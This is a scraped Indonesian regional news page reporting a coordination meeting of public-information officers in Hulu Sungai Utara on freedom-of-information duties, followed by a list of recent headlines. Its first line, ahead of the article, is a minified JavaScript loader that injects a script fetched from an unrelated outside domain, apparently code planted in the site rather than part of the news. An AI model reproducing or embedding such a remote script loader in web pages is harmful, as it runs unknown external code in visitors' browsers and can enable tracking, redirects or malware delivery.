(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Wujudkan Keterbukaan Informasi, Diskominfosandi HSU Gelar Rakor PPID


KANALKALIMANTAN.COM, AMUNTAI – Era keterbukaan informasi menuntut setiap Organisasi Perangkat Daerah (OPD) meningkatkan pengelolaan informasi dan dokumentasi guna terhindar dari sengketa informasi dengan masyarakat.

Hal ini dijelaskan Kepala Bidang Informasi Komunikasi Publik dan Statistik  Hj Khalidiyah dalam rapat koordinasi (rakor) bersama Pejabat Pengelola Informasi dan Dokumentasi (PPID) di lingkup Pemkab Hulu Sungai Utara (HSU) di Aula Dinas Komunikasi Informatika dan Persandian (Diskominfosandi), Kamis (14/7/2022).

“Kita sekarang berada di zaman keterbukaan informasi sesuai dengan Undang-Undang Nomor 14 Tahun 2008 dimana keterbukaan Informasi itu sekarang tidak bisa ditutup tutupi lagi, tetapi didalam informasi keterbukaan ini pun ada keterbatasan dan pengecualian,” jelasnya.

Dikatakan, perlunya PPID adalah untuk mempermudah masyarakat mendapatkan informasi dalam satu pintu,  sekaligus menangkal informasi yang simpang siur yang didapatkan masyarakat.

 

Baca juga  : Jurnalis Diintimidasi di Sekitar Rumdin Ferdy Sambo, HP Dirampas, Foto dan Video Dihapus Paksa

Menurut Khalidiyah, selama ini sudah ada beberapa SKPD yang mengalami sengketa informasi, untuk itu masyarakat berhak mendapatkan informasi.

“Kalau kita tidak memberikan informasi kepada masyarakat yang dimintanya dalam waktu 14 hari, kita bisa disengketakan oleh masyarakat, jadi untuk mengatasi hal hal yang demikian itulah kegiatan rakor ini dilaksanakan sekaligus bagaimana cara mengatasi permasalahan tersebut,” terangnya.

Tujuan dilaksanakan Rakor PPID ini juga untuk meningkatkan koordinasi antara pejabat PPID Pembantu dengan pejabat PPID utama, sekaligus untuk meningkatkan pengelolaan informasi dan dokumentasi di OPD masing-masing.

Sementara itu, Sekretaris Diskominfosandi HSU, Efdi Rijani berharap melalui sosialisasi ini informasi publik nantinya semakin baik.

“Intinya informasi itu harus di sebar luaskan atau dipublikasikan ke orang banyak. Namun ada hal hal yang perlu diklarifikasi terlebih dahulu, Jadi jangan sampai informasi itu sembarangan atau tidak layak, artinya untuk aparat PPID yang ditunjuk oleh kepala dinas belajar akan rasa bertanggungjawab,” tutupnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.